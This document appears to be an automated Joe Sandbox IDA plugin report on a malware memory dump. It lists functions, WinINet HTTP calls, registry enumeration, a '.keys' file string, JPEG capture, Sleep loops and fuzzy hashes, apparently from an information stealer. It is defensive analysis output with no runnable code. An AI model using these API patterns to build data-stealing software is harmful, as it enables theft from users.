Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 12731067adaad00dbfe15967524b6f3d2b834b27b75a0c6ab3713026643a7a4f
Instruction ID: f4ae39f057a2bc54ebe292fd5470194ae06ff97e693dbaf5b99bb307904d750a
Opcode Fuzzy Hash: 12731067adaad00dbfe15967524b6f3d2b834b27b75a0c6ab3713026643a7a4f
Instruction Fuzzy Hash: DBE134B19201089BCB14EBA0DD96EFEB378BF14340F104164F60BB6091DF75AA1ADF62

Function 002E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E47EA
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4801
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4818
Part of subcall function 002E47B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
Part of subcall function 002E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002E4915
StrCmpCA.SHLWAPI(?,0165D4E0), ref: 002E493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E4ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00300DDB,00000000,?,?,00000000,?,",00000000,?,0165D5B0), ref: 002E4DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 002E4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 002E4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 002E4E49
InternetCloseHandle.WININET(00000000), ref: 002E4EAD
InternetCloseHandle.WININET(00000000), ref: 002E4EC5
HttpOpenRequestA.WININET(00000000,0165D530,?,016613B8,00000000,00000000,00400100,00000000), ref: 002E4B15

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

InternetCloseHandle.WININET(00000000), ref: 002E4ECF

Strings

------, xrefs: 002E49BD
", xrefs: 002E4BF2
------, xrefs: 002E4B28
", xrefs: 002E4D33
------, xrefs: 002E4C69

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: eb8a059e95464d520923c7b081f1bc487404a998faad8f13cfd0eab478354232
Instruction ID: 357238d4c6b66167119d3c09de2ecefb7d09a38ed1ea33e06bd9bc90047ef5e2
Opcode Fuzzy Hash: eb8a059e95464d520923c7b081f1bc487404a998faad8f13cfd0eab478354232
Instruction Fuzzy Hash: 2312CDB192111CAADB15EB50DD92FEEF378AF15780F5041B9B20A62091DFB02F59CF62

Function 002F8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

RegOpenKeyExA.KERNEL32(00000000,0165DD18,00000000,00020019,00000000,003005B6), ref: 002F83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 002F8426
wsprintfA.USER32 ref: 002F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 002F847B
RegCloseKey.ADVAPI32(00000000), ref: 002F848C
RegCloseKey.ADVAPI32(00000000), ref: 002F8499

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Strings

- , xrefs: 002F85A3
%s\%s, xrefs: 002F844D
?, xrefs: 002F837A

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 2f56b20829c74b7f18c8a9aef535e004038b9b51c55cf15acdb355017f080e00
Instruction ID: a4e86a9f4c649bcfe68105d3ba826a2f55b6c031f5ec7c43666e17c69b751ed6
Opcode Fuzzy Hash: 2f56b20829c74b7f18c8a9aef535e004038b9b51c55cf15acdb355017f080e00
Instruction Fuzzy Hash: 938110B192111C9BDB24DF50CC91FEAB7B8FF18740F0082A8E209A6150DF716B8ACF95

Function 002E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E47EA
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4801
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4818
Part of subcall function 002E47B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
Part of subcall function 002E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

InternetOpenA.WININET(00300DFE,00000001,00000000,00000000,00000000), ref: 002E62E1
StrCmpCA.SHLWAPI(?,0165D4E0), ref: 002E6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E6335
HttpOpenRequestA.WININET(00000000,GET,?,016613B8,00000000,00000000,00400100,00000000), ref: 002E6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002E63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002E63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 002E63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 002E646D
InternetCloseHandle.WININET(00000000), ref: 002E64EF
InternetCloseHandle.WININET(00000000), ref: 002E64F9
InternetCloseHandle.WININET(00000000), ref: 002E6503

Strings

ERROR, xrefs: 002E6407
ERROR, xrefs: 002E64C9
GET, xrefs: 002E637C

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b67eed7d7d6205ceb3be80b0d5b50b52ebff1766ac23819e557a7ed07b9c8977
Instruction ID: b02dcdffbd2ae5f3ce5a32747d5cacd1e51830da52cce8343df5f51004545b26
Opcode Fuzzy Hash: b67eed7d7d6205ceb3be80b0d5b50b52ebff1766ac23819e557a7ed07b9c8977
Instruction Fuzzy Hash: 37716E71A50248ABDB24DF90CC49BEEB774BF14740F5081A8F20A6B1D0DBB46A89CF51

Function 002F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA820: lstrlenA.KERNEL32(00000000,?,?,002F5B54,00300ADB,00300ADA,?,?,002F6B16,00000000,?,016503A0,?,0030110C,?,00000000), ref: 002FA82B
Part of subcall function 002FA820: lstrcpy.KERNEL32(0,00000000), ref: 002FA885

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F5857

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002F51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F5228

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002F52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F5318
Part of subcall function 002F52C0: lstrlenA.KERNEL32(00000000), ref: 002F532F
Part of subcall function 002F52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 002F5364
Part of subcall function 002F52C0: lstrlenA.KERNEL32(00000000), ref: 002F5383
Part of subcall function 002F52C0: strtok.MSVCRT(00000000,?), ref: 002F539E
Part of subcall function 002F52C0: lstrlenA.KERNEL32(00000000), ref: 002F53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F5A0C
Sleep.KERNEL32(0000EA60), ref: 002F5A1B

Strings

ERROR, xrefs: 002F5636
ERROR, xrefs: 002F5932
ERROR, xrefs: 002F577D
ERROR, xrefs: 002F59FE
ERROR, xrefs: 002F5693
ERROR, xrefs: 002F5849

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: f5f26214dcefb49785bb3d021bae1b51022495696a3547ea2d2b5e79c413e54b
Instruction ID: e74dee8c3965b43f4f5efd56f671ce58bc7b9852e27154ad8f861851e835e7f0
Opcode Fuzzy Hash: f5f26214dcefb49785bb3d021bae1b51022495696a3547ea2d2b5e79c413e54b
Instruction Fuzzy Hash: CCE1EEB192010C9BCB14FBA0DD56EFDB378AF54380F508538A60B56195EF746A2ECF92

Function 002F9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 002F906C

Strings

image/jpeg, xrefs: 002F9136

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 0d772af9312db2dedd7c8a12ad3ec3da5207f0a72a98287674cf1bea44a23145
Instruction ID: dec4906ff5ed8cc6bf79caa017d763a7e5ff2bcae7b68171584895f4c1a47e91
Opcode Fuzzy Hash: 0d772af9312db2dedd7c8a12ad3ec3da5207f0a72a98287674cf1bea44a23145
Instruction Fuzzy Hash: 26710AB1910208ABDB14EFE4DC89FEEB7B8BF58300F508118F615A7290DB74A955DB61

Function 002F12D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 002F1307
strtok_s.MSVCRT ref: 002F1750

Part of subcall function 002FA820: lstrlenA.KERNEL32(00000000,?,?,002F5B54,00300ADB,00300ADA,?,?,002F6B16,00000000,?,016503A0,?,0030110C,?,00000000), ref: 002FA82B
Part of subcall function 002FA820: lstrcpy.KERNEL32(0,00000000), ref: 002FA885

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: c12d32aaab6ab9d25a5ccb7bb07bc1a0a46793c0a81c25a51f7f2f13440b6b69
Instruction ID: e1a9bef0462b240313e1521c60c879040433ecdb610241cf474eddb8836fbb58
Opcode Fuzzy Hash: c12d32aaab6ab9d25a5ccb7bb07bc1a0a46793c0a81c25a51f7f2f13440b6b69
Instruction Fuzzy Hash: 4AC163B591011D9BCB14EF60DC89FFAB378BF64344F0045A8F60AA7241DB70AAA5DF91

Function 002E1310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002E1327

Part of subcall function 002E12A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 002E12B4
Part of subcall function 002E12A0: HeapAlloc.KERNEL32(00000000), ref: 002E12BB
Part of subcall function 002E12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 002E12D7
Part of subcall function 002E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 002E12F5
Part of subcall function 002E12A0: RegCloseKey.ADVAPI32(?), ref: 002E12FF

lstrcatA.KERNEL32(?,00000000), ref: 002E134F
lstrlenA.KERNEL32(?), ref: 002E135C
lstrcatA.KERNEL32(?,.keys), ref: 002E1377

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002F8B60: GetSystemTime.KERNEL32(?,01654A98,003005AE,?,?,?,?,?,?,?,?,?,002E4963,?,00000014), ref: 002F8B86

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

